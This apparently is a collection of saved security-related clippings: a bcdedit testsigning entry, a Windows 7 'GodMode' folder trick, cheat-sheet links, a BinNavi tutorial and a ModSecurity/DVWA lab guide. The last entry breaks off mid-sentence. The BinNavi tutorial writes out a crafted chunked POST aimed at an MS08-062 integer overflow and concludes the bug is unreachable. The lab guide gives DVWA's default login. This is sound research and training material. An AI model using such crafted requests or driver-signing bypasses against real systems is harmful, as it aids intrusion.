**testsigning** |  Controls whether Windows 7, Windows Server 2008, or Windows Vista will load any type of test-signed kernel-mode code. This option is not set by default, which means test-signed kernel-mode drivers on 64-bit versions of Windows 7, Windows Server 2008, and Windows Vista will not load without setting the testsigning switch Enable value\(s\): **on, 1** Disable value\(s\): **off, 0** Usage example: **Bcdedit /set testsigning on**

# Windows 7 GodMode Hack \[Turtorial\]

**Created:**| _1/7/2010 11:14:01 AM_  
---|---  
**Updated:**| _1/7/2010 11:14:11 AM_  
**Author:**| __  
**Tags:**| _windows_  
  

## Windows 7 GodMode Hack \[Turtorial\]

Save to delicious

Stumble Upon

ReTweet

Facebook It \!

Windows 7 The New shiny product of Microsoft is just revealed and some windows
guys have uncovered a new Hack in Windows 7 which the team at windows call is
**"GodMode"**

The Hack is some kind of Glitch as we have also seen the Glitch in YouTube
yesterday, What this does is bring you to an new settings page which got some
good options in it to play with the windows.

<img src='img/Temp2_9545.png' width='441' height='148' alt='Windows 7 GodMode
Hack [Turtorial]' />

Obviously not the control panel settings, they contain some of the good one's
in them like**"Back up Your computer"** and **"Login Credentials"** and stuff
like that.

The "GodMode" Contains a List of Over **50 sections** consisting of setting
for you which can be enabled by a simple rename. But it might be a new
promotion by the windows guys to promote their New windows 7...

Whatever, lets focus on the Trick that we are going to apply to enable the, so
called "GodMode" in windows 7.

## Steps

The Hack is very easy one, with a simple rename you can access it. So don't
blame me if this is** Lame**.

  1. Create a new folder.
  2. Rename the folder to
**<img src='img/Temp2_9544.png' width='69' height='69' alt='234-windows-
godmode-icon' />GodMode.\{ED7BA470-8E54-465E-825C-99712043E01C\}**

\(note that you can change the “GodMode” text, but the following period and
code number are essential\).

  3. The folder icon will change — double click it to show the  _GodMode_ window:

## ScreenShot

<img src='img/Temp2_9546.png' width='525' height='348'
alt='Windows_7_godmode_610x404' />

<img src='img/Temp2_9543.png' width='441' height='461' alt='234-windows-
godmode-window' />

## Conclusion

This might be good for you as you can now apply various setting to your
Windows 7 at a single place. btw i don't use Windows 7 that much, i just Love
the **Window Xp**. It might a new promotional way by the Microsoft guys. well
who cares.

# Security Advancements at the Monastery » Blog Archive » What’s in Your
Folder: Security Cheat Sheets

**Created:**| _11/6/2010 5:41:23 PM_  
---|---  
**Updated:**| _11/6/2010 5:41:23 PM_  
**Author:**| __  
**Tags:**| _cheat sheets security_  
  

« Standardization and Interoperability in Security

Learning By Doing: Challenges, Data Sets, and Practice Sites »

## What’s in Your Folder: Security Cheat Sheets

Aug 15th, 2009 by John Gerber

<img src='img/cheatsheets-icon.gif' width='125/' />On my desk is a folder
containing all sort of cheat sheets relating to security, operating systems,
and various web applications. Many a times, these quick references have helped
me remember particular options and information that are all too easily
forgotten. These guides are also very useful in any training program, helping
remind students of the essential information. So when Jim Clausing, from SANS
Internet Storm Center \(ISC\), posted, “New and updated cheat sheets,” an idea
hit me: now would be the perfect time to pull together and share this
material. Jeremy Stretch at PacketLife is in the process of updating, to quote
Jim, “some of his excellent networking cheat sheets \(I mentioned his 802.1x
one here\).” Jeremy has posted such first-rate cheat sheets as:

BGP| EIGRP| First Hop Redundancy  
---|---|---  
IEEE 802.11 WLAN| IEEE 802.1X| IPsec  
IPv4 Multicast| IPv6| IS-IS  
OSPF| PPP| Spanning Tree  
Wireshark Display Filters| Common Ports| IOS IPv4 Access Lists  
IPv4 Subnetting| Markdown| MediaWiki  
Frame Mode MPLS| Quality of Service| VLANs  
Cisco IOS Versions| Physical Terminations| IOS Interior Routing Protocols  
tcpdump  
For help with forensics, Jim points out, “SANS instructor, Rob Lee points us
to a couple of new cheat sheets for doing forensics on USB keys under XP or
Vista/Win7.” There is also the Memory Analysis Cheat Sheet for Microsoft
Windows XP SP2 by Pär Österberg and Andreas Schuster. If you have a SANS
Portal Account, you can access the SANS Forensic Analysis Cheat Sheet.

The below table provides links to other security cheat sheets I have found
very beneficial. Some are better described as condensed references, verses
short 1-2 page cheat sheets. That is noted below.

Title| Source| Description  
---|---|---  
SQL Injection Cheat Sheet| Michael Daw| Reference  
Linux Security Quick Reference Guide| LinuxSecurity| PDF  
SQL Injection Cheat Sheet| Ferruh Mavituna| Reference  
Security Architecture Cheat Sheet| OWASP| Reference  
SQL Injection Prevention Cheat Sheet| OWASP| Reference  
Transport Layer Protection Cheat Sheet| OWASP| Reference  
XSS \(Cross Site Scripting\) Prevention Cheat Sheet| OWASP| Reference|  
SQL Injection Cheat Sheet| RSnake| Reference  
XSS \(Cross Site Scripting\) Cheat Sheet| RSnake| Reference  
Forensic Analysis Cheat Sheet| SANS| PDF  
Google Hacking and Defense Cheat Sheet| SANS| PDF  
IEEE 802.11| SANS| PDF  
IPv6 TCP/IP and tcpdump| SANS| PDF  
Linux Intrusion Discovery Cheat Sheet| SANS| PDF  
Misc Tools Cheat Sheet| SANS| PDF  
Netcat Cheat Sheet| SANS| PDF  
TCP/IP and tcpdump| SANS| PDF  
Windows Command Line Cheat Sheet| SANS| PDF  
Windows Intrusion Discovery Cheat Sheet| SANS| PDF  
NMAP and Nessus| SecGuru| PDF  
Hping3| José A. Guasch| PDF  
NMAP5| Alejandro Ramos| PDF  
Web Application| SecGuru| PDF  
Netcat Cheat Sheet| Ed Skoudis| PDF  
Useful Attack Tools| Ed Skoudis| PDF  
Windows commandline tools| Ed Skoudis| PDF  
Analyzing Malicious Documents Cheat Sheet| Lenny Zeltser| Reference  
Critical Log Review Checklist for Security Incidents| Dr. Anton Chuvakin and
Lenny Zeltser| PDF  
Information Security Assessment RFP Cheat Sheet| Lenny Zeltser| PDF  
Initial Security Incident Questionnaire for Responders| Lenny Zeltser| PDF  
Network DDoS Incident Response Cheat Sheet| Lenny Zeltser| PDF  
Reverse-Engineering Malware Cheat Sheet| Lenny Zeltser| PDF  
Security Architecture Cheat Sheet for Internet Applications| Lenny Zeltser|
PDF  
Security Incident Survey Cheat Sheet for Server Administrators| Lenny Zeltser|
PDF  
Troubleshooting Human Communications| Lenny Zeltser| PDF  
ASP.NET Security Architecture| Alik Levin| Reference  
Since security does not exist in a vacuum, Raj helps us out with his post,
“145 Useful cheat sheets for some of the most widely used tools on the web.”
To quote Raj, the post provides “145 quick cheat sheets for some of the most
widely used tools on the web.” Dave Child has also posted several valuable
cheat sheets for commonly used Internet and development tools \(Python,
Subversion, Regular Expressions, mod\_rewrite, PHP, MySQL, Javascript, Ruby on
Rails\).

Hilde Torbjornsen has also posted “Mega Collection Of Cheatsheets for
Designers & Developers” where she list more than one hundred cheat sheets and
reference cards for the following topics:

Browsers & OS| HTML| Softwares  
---|---|---  
CMS| Javascript| Others/Miscellaneous  
Color/Fonts/SEO| MySQL|  
CSS| PHP|  
To assist on the operating side, Scott Klar posted “Linux-Unix cheat sheets –
The ultimate collection.” The post provides a links to approximately 70 cheat
sheets for Linux users. Scott has also posted, “Windows cheat sheets
compilation“, “Networking cheat sheets“, and links in various other areas \(C,
CPP, C\#; Gimp; Designer color; Vi & vim; Emacs; Photoshop; Apache; Perl;
Python; Ruby and Ruby on Rails; Regular Expressions; MySQL; XML-XSLT-RSS; PHP;
CSS; Javascript/Ajax; HTML and Xhtml\).

Finally, there is always the Cheat-Sheets, DevCheatSheet \(over 1,500 so far\)
, and TechTarget sites. These two sites offer very large number of links to
various cheat sheets on all sorts of topics. If you know of any other good
cheat sheets relating to security, please let me know.

# zynamics BinNavi 3.0 Manual - Tutorial

**Created:**| _7/9/2010 12:20:27 PM_  
---|---  
**Updated:**| _7/9/2010 12:20:27 PM_  
**Author:**| _wishi_  
**Tags:**| _bookmark research_  
  

## Tutorial - Crafting input with zynamics BinNavi

Crafting input to reach a particular location in the code is a frequent task
one encounters in security analysis. Perhaps a particular location in the
executable has been pinpointed by a static analysis tool, perhaps the use of a
tool like BinDiff leads one to think a particular location could be
"interesting" if reached with the proper inputs.  
  
In the following, we will show that a particular integer overflow patched in
MS08-062 was not actually dangerous: A potential integer overflow was patched,
but we will see that there appears to be no way to trigger this particular
integer overflow.  
  
We have used BinDiff \(or a similar tool\) to compare the patched against the
unpatched version, and suspect that the following code might be one of the
security vulnerabilities fixed in this update:

[code]

      
    5FEFF0DB shr   esi, byte 10
    5FEFF0DE inc   esi
    5FEFF0DF shl   esi, byte 10
    5FEFF0E2 add   esi, eax
    5FEFF0E4 push  esi // int
    5FEFF0E5 push  eax // int
    5FEFF0E6 push  ds:[ebx+0x18] // void 
    5FEFF0E9 mov   ss:[ebp+arg_0], esi
    5FEFF0EC call  cs:_webRealloc@12
    5FEFF0F1 cmp   eax, edi
    5FEFF0F3 jz    byte cs:loc_5FEFF167
    
[/code]

The right-shift-left-shift trickery has been replaced by prudent checking for
integer overflows in the patched version - so it is reasonable to assume that
this particular location needs to be reached with a malicious value of
0xFFFFFFFF in ESI.  
  
We also know that msw3prt.dll is an ISAPI component - and that ISAPI
components "begin" their active life in a function call "HttpExtensionProc".  
  
Our goal can now be formulated as follows:

Construct malicious input that triggers the memory corruption problem
discussed above.

In doing so, we will get to know some of the core features of BinNavi.

### Creating a project

Assuming that you have created and configured access to your central
disassembly storage \(e.g. the MySQL server\), your screen should look
somewhat like this \(click on the picture to enlarge it\):

<img src='img/tut_01tn.png' width='600' height='450' />

  
  
As a first step, we will now create a new project in which we will work.
Right-click on the database you wish to use, and click Connect. Once you are
connected, right-click on Projects, and create a new project named
"MS08-62-.printer integer overflow". This is where we will keep all data
related to this particular vulnerability.  
BinNavi supports multiple address spaces per project - this is useful in many
scenarios, for example when a vulnerability involves complicated interactions
between processes. For our purposes, the default address space will do though.

Now, as next step, we need to import the disassembly of the file we're dealing
with into our database. This is done via right-clicking on Raw Modules and
selecting Import Raw Module. We then select the IDA database msw3prt.idb.
BinNavi will launch an instance of IDA in the background, and the disassembly
will be imported into the database in the zynamics core database format \(see
documentation\) intended to be used by all sorts of reverse engineering tools.

Before BinNavi can use this data though, it needs to perform some minor
conversions - for this, please right-click on the raw module you just
imported, and convert it to a BinNavi module. Your screen should now look
something like this:

<img src='img/tut_02tn.png' width='600' height='429' />

Now, since we wish to work with msw3prt.dll, we need to make sure that this
DLL is mapped into our default address space. You can just drag & drop
arbitrary DLLs from the "modules" tree into your address space.  
So, let's get to work.

In order to open the callgraph of the DLL we're working with, click on the
"Default address space->msw3prt.dll" field. Do a right-click-open on the
"native callgraph" entry in the middle of your screen.  
Your screen should look roughly like the following:

<img src='img/tut_03tn.png' width='600' height='450' />

You probably have worked through the Usage->Graph Window chapter of this
manual. We will nonetheless spend a few minutes getting used to the user
interface before we focus on constructing a path through the executable again.

### "Surfing" through the callgraph

Proximity browsing coupled with the "Undo Selection" and "Redo
Selection"-hotkeys allows "surfing" through the callgraph in a rather
comfortable manner. Please position your cursor in the search field and type
"HttpExtensionProc" followed by "Enter". The node with this name will be made
visible, the graph layout will be recalculated, and the node in which the
search string was found will be centered on screen. Click on the
HttpExtensionProc node to select it, and click on the "hierarchical layout"
button to have the layout recalculated.  
Your screen should look somewhat like this:

<img src='img/tut_04tn.png' width='600' height='450' />

By default, the proximity browsing settings are configured so that all nodes
within a distance of two "hops" from your selection are made visible. While
this is useful for many scenarios, we want to change this for the callgraph
"surfing" we're about to do. Please go to Graph->Proximity Browsing Settings
and set both slides to 1. After you click OK, your screen should look roughly
like this:

<img src='img/tut_05tn.png' width='600' height='450' />

Our goal is now to understand the way we need to navigate from
HttpExtensionProc to WebIppRcvData. In order to do this, please begin by
clicking on the "hierarchical layout" button.

Now click on the node labeled "?ParseQueryString". This node will become
selected and centered, with its immediate neighbors arranged around it. Please
left-click the "?AllocString"-node now, and then left-click the
"?StringCbCopy"-node, and finally, the "?StringCopyWorker"-node. You have just
traversed the callgraph from the "root" \(e.g. HttpExtensionProc\) to one of
the "leafs". If you hit "CTRL-Z" now, your last selection will be undone -
moving you back to the node you had selected before the current selection. Hit
"CTRL-Z" again, and again, to arrive at "?ParseQueryString" again.

If you hit "CTRL-Y", your selection is "redone" \-- moving forwards again.

By using proximity browsing and the selection undo/redo, you can "surf"
through the executable.

### Building a path through the executable

In order to build a path through the executable, we will begin by cutting down
the callgraph to only those nodes that are of interest to us: Functions
somewhere on the way between HttpExtensionProc and WebIppRcvData. Let's
isolate these functions:

In the search window, search for WebIppRcvData. Select this node and click on
the "select predecessors" button. Now only node sin the graph can lead to
WebIppRcvData are selected. If you go to Graph->Delete Unselected Nodes, all
nodes that are not on this path will be removed. Your result should look
something like this:

<img src='img/tut_06tn.png' width='600' height='450' />

This looks rather manageable, eh ? We will not need proximity browsing in such
a small graph, therefore we can switch off proximity browsing in the Graph
menu. Save this view \(View->Save as\) Right-click on WebIppRcvData and select
Open Function.

The integer overflow in question occurred in basic block at address 0x5FEFF0DB
in this function. We will now use the BinNavi Pathfinder plugin to generate a
graph that shows us how we need to go about reaching the target address. In
order to do this, switch to the database window again, and right-click on the
msw3prt.dll module in the "modules" subtree. Your context menu should offer
the option of running the Pathfinder plugin. Once you run it, you need to
select a start- and endpoint for the path to be generated:

<img src='img/tut_07tn.png' width='600' height='450' />

We select the beginning of HttpExtensionProc, and the target basic block
0x5FEFF0DB in WebIppRcvData. After we click OK, a new graphview will have been
generated in our address space under msw3prt.dll->Module Views with the name
"New Pathfinder View". If you open this view, you should see something like
this:

<img src='img/tut_08tn.png' width='600' height='450' />

The yellow block is our target block in WebIppRcvData, the green block is the
starting point of HttpExtensionProc. This graph will be our "map" when we try
to adjust our input to reach the vulnerability.

The first question is, clearly, how far down this path we can already go in
"regular" execution. For this, we want to attach a debugger to the process
we're targeting and see what we can reach.

### Configuring the debugger

BinNavi can communicate with a multitude of different debuggers over the
network, each associated with a particular address space. This allows for
great flexibility: For example, one could debug a Linux-based client in
"lockstep" with a Win32-based server.

In order to configure a debugger for your BinNavi, go to the database window,
and right-click on Debuggers. Create a new debugger \(I call mine "WinXP VM"\)
and set the IP address and port to the IP address of the machine where the
BinNavi debugging agent is going to run.

Click on the MS08-62 project, and enable this debugger for this project by
clicking the checkbox. Make sure you click on the "save" button after enabling
the debugger.

Please select the default address space, and set the debugger to WinXP VM.
Don't forget to click the save button\!  
Inside my Windows XP VM, I have enabled printer sharing, and configured IIS so
that the .printer extension is properly passed on to msw3prt.dll.

The debug agent can be found in /BinNavi/debug/win32/client32.exe and is
launched by supplying the process ID to be debugged as first argument.

In order to make sure the msw3prt.dll is loaded, we direct our browser to  
http://172.16.155.132/printers/PDFCreator/.printer

Now close your views and reopen the path that was constructed \(we need to do
that since the views where opened before any debugger was configured\). Click
on the "connect to debugger" button in the debugger pane at the bottom of the
screen. You should be greeted with the following screen:

<img src='img/tut_09tn.png' width='600' height='450' />

Close the Debugger Options screen by clicking OK, and click on the "big red
button" in the debugger pane. This will set breakpoints on all the nodes in
the current graph view and allow us to understand which parts of the code we
can already execute, and at which point we're taking a "wrong turn".

Now direct your browser to http://172.16.155.132/printers/PDFCreator/.printer
again. The code will execute, and any breakpoints hit during this execution
will be logged.

<img src='img/tut_10tn.png' width='600' height='429' />

You can visualize which parts of the code you have successfully executed
during this trace by clicking on the Traces tab. This tab will list all debug
traces you have collected. In this screen, I have added a description to the
debug trace \(so that I can remember what I did to obtain the trace\), and
used the context menu to select the nodes executed in this trace.

This screen now tells us exactly where our code execution took a "wrong turn":
The last selected node is exactly where we branched in the "wrong" direction.
Use the paint bucket to color the currently selected nodes in a light hue of
red, and zoom in on the branch we'd like to take.

If you do a shift + right click on any instruction prior to the branch, you
will see that the address turns green. This means you've just set a breakpoint
on the instruction in question. If you re-send your request now, the debugger
should suspend on the location on which you set the breakpoint, and you should
be able to inspect the register contents.

<img src='img/tut_11tn.png' width='600' height='450' />

Single-stepping once, we can see that EAX contains the value "4" when we would
like it to contain the value "1". Where is this value set ? If we search for
"var\_24" in our graph, we arrive at the following location:

<img src='img/tut_12tn.png' width='600' height='450' />

We can see that the value is set to whatever was in arg\_0->0x14 - and
scrolling up a bit we see that this arg\_0 was passed into the current
function by a "push esi" at address 0x5FEF84FA, and that it was previously
passed to ParseQueryString by these two lines:

[code]

      
    5FEF84EE push esi 
    5FEF84EF call cs:?ParseQueryString@@YGHPAUALLINFO@@@Z
    
[/code]

This leads us to the "guess" that the contents of the structure are
initialized in said function. It would be nice if we could add this function
to our graph, therefore we right-click on the node with the ParseQueryString-
call and select "inline subfunction" for it.

The graph then looks like this:

<img src='img/tut_13tn.png' width='600' height='450' />

We wish to set the value in question to 1 - so let's search for "0x14" in this
graph and see where it might be set. The nicest way to do this is by using the
"select by criteria"-dialog:

<img src='img/tut_14tn.png' width='600' height='450' />

After selecting everything that contains 0x14 and coloring it in a bright
yellow, the graph looks like this:

<img src='img/tut_15tn.png' width='600' height='450' />

We will collect another trace in this graph with the same request, and select
it again. This will immediately locate us the location at which the value in
question was set:

<img src='img/tut_16tn.png' width='600' height='450' />

The string that 0x5FEF1D74 points to is the string "POST" \-- so clearly, we'd
need to supply a "POST" request in order to get where we want to go. What does
our trace look like if we send a simple POST ?  
Also, we wanted to supply a length value of 0xFFFFFFFF for the integer
overflow to work. Those of us that were around in 2002 remember vaguely that
performing a chunked-encoding post to an IIS server will call the ISAPI in
question with the cbTotalBytes length field set to 0xFFFFFFFF. We therefore
create an artificial request as follows:

[code]

      
    POST /printers/PDFCreator/.printer HTTP/1.1
    Accept: */*
    Host: localhost
    Content-Type: application/x-www-form-urlencoded
    Transfer-Encoding: chunked
    Connection: keep-alive
    
    10 
    PADPADPADPADPADP 
    4 
    XXXX
    4 
    XXXX
    0 
    
[/code]

What does our trace look like now ?

<img src='img/tut_17tn.png' width='600' height='450' />

We're much closer to where we want to be \!  
Let's have a look at the last branch in question:  

[code]

      
    5FEFF0CC mov ecx, ds:[ebx+0x14]
    5FEFF0CF mov esi, ss:[ebp+arg_8]
    5FEFF0D2 mov eax, ds:[ebx+0x10]
    5FEFF0D5 add ecx, esi
    5FEFF0D7 cmp ecx, eax
    5FEFF0D9 jb byte cs:loc_5FEFF0FB
    
[/code]

We need to be able to set ESI to 0xFFFFFFFF - so where did it come from ?
Scrolling through our graph, we find it was passed into the current function
here:

[code]

      
    FEF939F push ss:[ebp+arg_18] // int
    
[/code]

Scrolling up one more block, we see the following code:

[code]

      
    5FEF988E push ds:[edi+0x74] // int
    5FEF9891 push ds:[edi+0x78] // hMem
    5FEF9894 push ds:[esi+12] // struct _IPPOBJ *
    5FEF9897 push ds:[esi+8] // unsigned __int16 *
    5FEF989A push ds:[esi+4] // hPrinter
    5FEF989D push ss:[ebp+arg_4] // __int16
    5FEF98A0 push edi // uBytes
    5FEF98A1 call cs:?Spl_IppJobData@@YGHPAU_EXTENSION_CONTROL_BLOCK
    
[/code]

Unfortunately, this implies that we have no way of triggering this
vulnerability: The argument passed in comes from \[edi+0x74\] - where edi
points to the EXTENSION\_CONTROL\_BLOCK structure. This structure contains two
length fields: cbTotalBytes at offset 0x70 which we can set to 0xFFFFFFFF, and
cbAvailable which is located at offset 0x74 which we can only control within
"reasonable" boundaries.

In the same graph, we can determine that the only other path leading to the
integer overflow also passes the cbAvailable value to our target block. This
means that there should be no way of triggering the integer overflow in
question, irrespective of which path we take.

# MacOS 24c3 presentation about Leopard internals

**Created:**| _9/3/2009 10:29:53 AM_  
---|---  
**Updated:**| _9/18/2009 10:30:17 AM_  
**Author:**| __  
**Tags:**| _Mac-hacking_  
  
<img src='img/Temp2_5067' />

# Blog, ModSecurity and DVWA lab

**Created:**| _8/15/2013 5:30:40 PM_  
---|---  
**Updated:**| _8/15/2013 5:30:40 PM_  
**Author:**| __  
**Tags:**| _web-app-sec Firewalls_  
  

# **S** etting up a lab with ModSecurity, Apache and DVWA****

### Thurs 15th Aug 13****

I've been meaning to build a ModSecurity lab for a while and seeing as I had
some free time I decided it was about time to do it and to document it for
everyone to share**.**

The lab I built uses an up-to-date version of ModSecurity with a rule set
taken from the SpiderLabs github repo and, so there is something to attack,
I've included DVWA**.**

This is my first install of ModSecurity so it may not be perfect but it works
and is based on the guides I've read so is likely to be close to what you'd
find on servers where the admin isn't an expert and just went for a default
install**.**

The lab is built on a Debian testing \(jessie\) server, I initially went for
stable \(wheezy\) but found that the version of ModSecurity on stable is quite
old and doesn't work with the current rule sets so, to play along, you need to
get yourself a working jessie install**.** I did mine from fresh and on the
software selection part of the install I only chose standard packages and ssh
server, I didn't go for web server as I don't know what packages it installs
and what it configures for you and I prefer to do that kind of thing
myself**.**

After the install is complete we need to install the following basic packages:

[code]

    apt-get install apache2 php5 mysql-server libapache2-modsecurity git php5-mysql
[/code]

I also added vim, screen and sudo but they aren't strictly required just nice
to have**.**

Lets start the configuration**.** First, install the default ModSecurity
configuration file:

[code]

    cd /etc/modsecurity/
    cp modsecurity.conf-recommended modsecurity.conf
[/code]

Next, we need the Core Rule Set \(CRS\)**.** When you install the Debian
package it comes with a copy of this but I've chosen to get a copy from the
SpiderLabs github repository**.** This means it can be easily kept up-to-date
with the latest greatest rules**.**

Still in the modsecurity directory clone the repo:

[code]

    git clone https://github.com/SpiderLabs/owasp-modsecurity-crs
[/code]

This now needs configuring**.** First, as with ModSecurity itself, the initial
config file needs enabling:

[code]

    cd owasp-modsecurity-crs/
    cp modsecurity_crs_10_setup.conf.example modsecurity_crs_10_setup.conf
[/code]

This turns the config file on but without including it in some way it isn't
actually being used yet**.** A quick aside is needed here to explain the
layout the CRS uses**.** The repo contains five rules directories:

  * base\_rules
  * experimental\_rules
  * optional\_rules
  * slr\_rules
  * activated\_rules

The first four contain the actual rules that make up the rule set, the last
one, _activated\_rules_ , is where you put the rules you chose to run**.**
Think of the way Apache on Debian runs it sites-available and sites-enabled
system or how init**.** d works**.**

So, to enable the actual rules you need to symlink them from their resting
places into the _activated\_rules_ directory**.** You also need to add the
main config file**.**

[code]

    cd activated_rules/
    ln -s ../modsecurity_crs_10_setup.conf **.**
    ln -s ../base_rules/* **.**
    ln -s ../optional_rules/* .
[/code]

Most of the examples use a for loop to do the above but I find the wildcard
works fine, this is probably shell dependant though so if it fails you can
use:

[code]

    cd ..
    for f in `ls base_rules/` ; do sudo ln -s /etc/modsecurity/owasp-modsecurity-crs/base_rules/$f activated_rules/$f ; done
    for f in `ls optional_rules/ | grep comment_spam` ; do sudo ln -s /etc/modsecurity/owasp-modsecurity-crs/optional_rules/$f activated_rules/$f ; done
[/code]

Either way, you should now have an _activated\_rules_ directory full of
symlinks to files in the base\_rules and optional\_rules directories**.**
There is nothing here stopping you from also linking in the other two rule
directories but I'm following what all the guides I've read say to do so is
what I think will be the configuration of most of the servers out there**.**

Even after doing all of this, Apache won't acknowledge any of it yet as it
isn't being actively included in its configuration**.** To do this you need to
include the active\_rules directory using an Include statement**.**

At the moment, the ModSecurity config file _/etc/apache2/mods-
enabled/security2.conf_ contains the following line:

[code]

    IncludeOptional /etc/modsecurity/*.conf
[/code]

So you could just add another line in here to include the _activated\_rules_
directory but as this file is likely to be upgraded as the package is upgraded
this is a bad idea**.** Instead I've added the include in the
_modsecurity.conf_ file we created at the start of this process**.**

The line needed is:

[code]

    Include /etc/modsecurity/owasp-modsecurity-crs/activated_rules/*conf
[/code]

While you are in this file add the following line as well:

[code]

    SecDisableBackendCompression On
[/code]

Without it when the log file is created, any requests which come in compressed
are logged as compressed data which makes the file unreadable**.**

A final update is needed to Apache to enable the headers module, this allows
ModSecurity to control and modify the HTTP headers for both requests and
responses**.**

[code]

    a2enmod headers
[/code]

All that is left now is to restart Apache and you should have a working
install**.**

[code]

    service apache2 restart
[/code]

## Testing****

So, lets see if all the configuration paid off, start tailing the log file:

[code]

    tail -f /var/log/apache2/modsec_audit.log
[/code]

Now, browse to the site by IP and you should see some entries like the
following:

[code]

    --d5274346-H--
    Message: Warning**.** Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/owasp-modsecurity-crs/activated_rules/modsecurity_crs_21_protocol_anomalies.conf"] [line "98"] [id "960017"] [rev "2"] [msg "Host header is a numeric IP address"] [data "192**.** 168.0.68"] [severity "WARNING"] [ver "OWASP_CRS/2.2**.** 8"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6**.** 5**.** 10"] [tag "http://technet.microsoft.com/en-us/magazine/2005**.** 01.hackerbasher.aspx"]
    Message: Warning**.** Pattern match "^(?i:0|allow)$" at RESPONSE_HEADERS**.** [file "/etc/modsecurity/owasp-modsecurity-crs/activated_rules/modsecurity_crs_55_application_defects.conf"] [line "151"] [id "981405"] [msg "AppDefect: X-FRAME-OPTIONS Response Header is Missing or not set to Deny**.** "] [data "X-FRAME-OPTIONS: "] [tag "WASCTC/WASC-15"] [tag "MISCONFIGURATION"] [tag "http://websecuritytool.codeplex.com/wikipage**?** title=Checks#http-header-x-frame-options"]
    Message: Warning**.** Operator LT matched 5 at TX:inbound_anomaly_score. [file "/etc/modsecurity/owasp-modsecurity-crs/activated_rules/modsecurity_crs_60_correlation.conf"] [line "33"] [id "981203"] [msg "Inbound Anomaly Score (Total Inbound Score: 3, SQLi=0, XSS=0): Host header is a numeric IP address"]
    Stopwatch: 1376483251361382 39821 (- - -)
    Stopwatch2: 1376483251361382 39821; combined=26192, p1=477, p2=24676, p3=85, p4=400, p5=437, sr=135, sw=117, l=0, gc=0
    Response-Body-Transformed: Dechunked
    Producer: ModSecurity for Apache/2**.** 7.4 (http://www.modsecurity.org/); OWASP_CRS/2**.** 2.8.
    Server: Apache/2**.** 4.6 (Debian)
    Engine-Mode: "DETECTION_ONLY"
    
    --d5274346-Z--
[/code]

As well as other debug information, there are three messages here, each
starting with Message: **.** The first and last ones are commenting on the
fact that the site has been accessed by IP, the middle one that there is no
X-FRAME-OPTIONS value set**.**

If you are going to be accessing this lab through an IP most of the time then
this can become annoying and clog your log files so you can disable the
rules**.** The easiest way to do this is to simply delete them from the
original rules file, the message tells you which file contains the rules:

[code]

    [file "/etc/modsecurity/owasp-modsecurity-crs/activated_rules/modsecurity_crs_55_application_defects.conf"]
[/code]

and which line the rule was on:

[code]

    [line "151"]
[/code]

so you can just go in and delete or comment out that rule**.** The problem
with doing this is that if you then upgrade the rules through a git pull
you'll not get the latest version of that file as you have modified the local
copy**.** The better way is to create your own rules file that overrides any
rules you don't like**.** To do this you need to know the id of the rule you
want to remove, this is also contained in the log file, for the first entry it
is:

[code]

    [id "960017"]
[/code]

To do this, we first need to create a directory to store our custom rules and
a file to put them in:

[code]

    cd /etc/modsecurity/owasp-modsecurity-crs
    mkdir custom_rules
[/code]

The name of the rules file needs to such that it is the last to be picked up
in alphbetical order when it joins all the others in the _activated\_rules_
directory**.** Currently the last file in the directory is
_modsecurity\_crs\_60\_correlation.conf_ so calling ours
_modsecurity\_crs\_99\_custom.conf_ ensures there is plenty of space between
it and me**.**

Edit the file:

[code]

    vi custom_rules/modsecurity_crs_99_custom.conf
[/code]

add the following line:

[code]

    SecRuleRemoveById 960017
[/code]

and then link it into the actived\_rules directory:

[code]

    cd activated_rules
    ln -s ../custom_rules/modsecurity_crs_99_custom.conf **.**
[/code]

If you now restart Apache, tail the log file and visit the page again the
message should no longer appear**.**

I found that I had to do a full page refresh to check things were working
properly as a refresh that returned a 304 sometimes didn't trip the
sensors**.**

By adding entries to this custom file you can disable any rules which are
adding chaff to the testing you are trying to do, I'll suggest a couple more
after the DVWA install**.**

Installing DVWA is pretty straightforward, grab the files from the github
repo, set the database connection details and then browse to it and let it
create the database entries it needs**.**

[code]

    cd /var
    rm -rf www/
    git clone https://github.com/RandomStorm/DVWA.git www
    cd www
    vi config/config.inc.php
[/code]

Once you've set up your credentials you can then browse to the site and you
should be presented with the DVWA welcome screen telling you the database
doesn't exist**.** Follow its walkthrough and it will set it all up for
you**.**

Once all is set up, all you need to do is to click one of the menu links and
you'll be taken to the login page**.** Log in with the credentials
admin:password and start hacking**.** Watch the ModSecurity log and see how
many places you would have been caught - clue, its probably a lot**\!**

You'll probably see a lot of the following messags in the log:

[code]

    Message: Warning**.** Pattern match "^(?i:0|allow)$" at RESPONSE_HEADERS**.** [file "/etc/modsecurity/owasp-modsecurity-crs-git/activated_rules/modsecurity_crs_55_application_defects.conf"] [line "151"] [id "981405"] [msg "AppDefect: X-FRAME-OPTIONS Response Header is Missing or not set to Deny**.** "] [data "X-FRAME-OPTIONS: "] [tag "WASCTC/WASC-15"] [tag "MISCONFIGURATION"] [tag "http://websecuritytool.codeplex.com/wikipage**?** title=Checks#http-header-x-frame-options"]
    Message: Warning**.** Match of "contains no-store" against "RESPONSE_HEADERS:Cache-Control" required**.** [file "/etc/modsecurity/owasp-modsecurity-crs/activated_rules/modsecurity_crs_55_application_defects.conf"] [line "121"] [id "900046"] [msg "AppDefect: Cache-Control Response Header Missing 'no-store' flag**.** "] [data "Cache-Control: no-cache, must-revalidate"] [tag "WASCTC/WASC-15"] [tag "MISCONFIGURATION"] [tag "http://websecuritytool.codeplex.com/wikipage**?** title=Checks#http-cache-control-header-no-store"]
[/code]

As with the browse by IP address detection, these are messages you don't need
to worry about in a lab environment so can be disabled by adding their IDs to
the custom file:

[code]

    SecRuleRemoveById 900046
    SecRuleRemoveById 981054
[/code]

Restart Apache and that is about it, you now have a lab with a deliberately
vulnerable web app but a very good web app firewall protecting it**.**

One last thing, by default ModSecurity just reports on issues, it doesn't
block them**.** If you want to enable blocking then you need to edit the main
config file, _/etc/modsecurity/modsecurity.conf_ and change the SecRuleEngine
entry**.** Valid options are On, Off and DetectionOnly \(just log it\)**.**
This will enable blocking of bad requests:

[code]

    SecRuleEngine On
[/code]

## Conclusions****

This blog was written as I learned the set up process myself so may not
contain best practice ways of doing things and is certainly not enough to set
up a production environment from but, it should give you at least a place to
start from**.**

Happy hacking and remember, if you find a way to bypass any of the rules, the
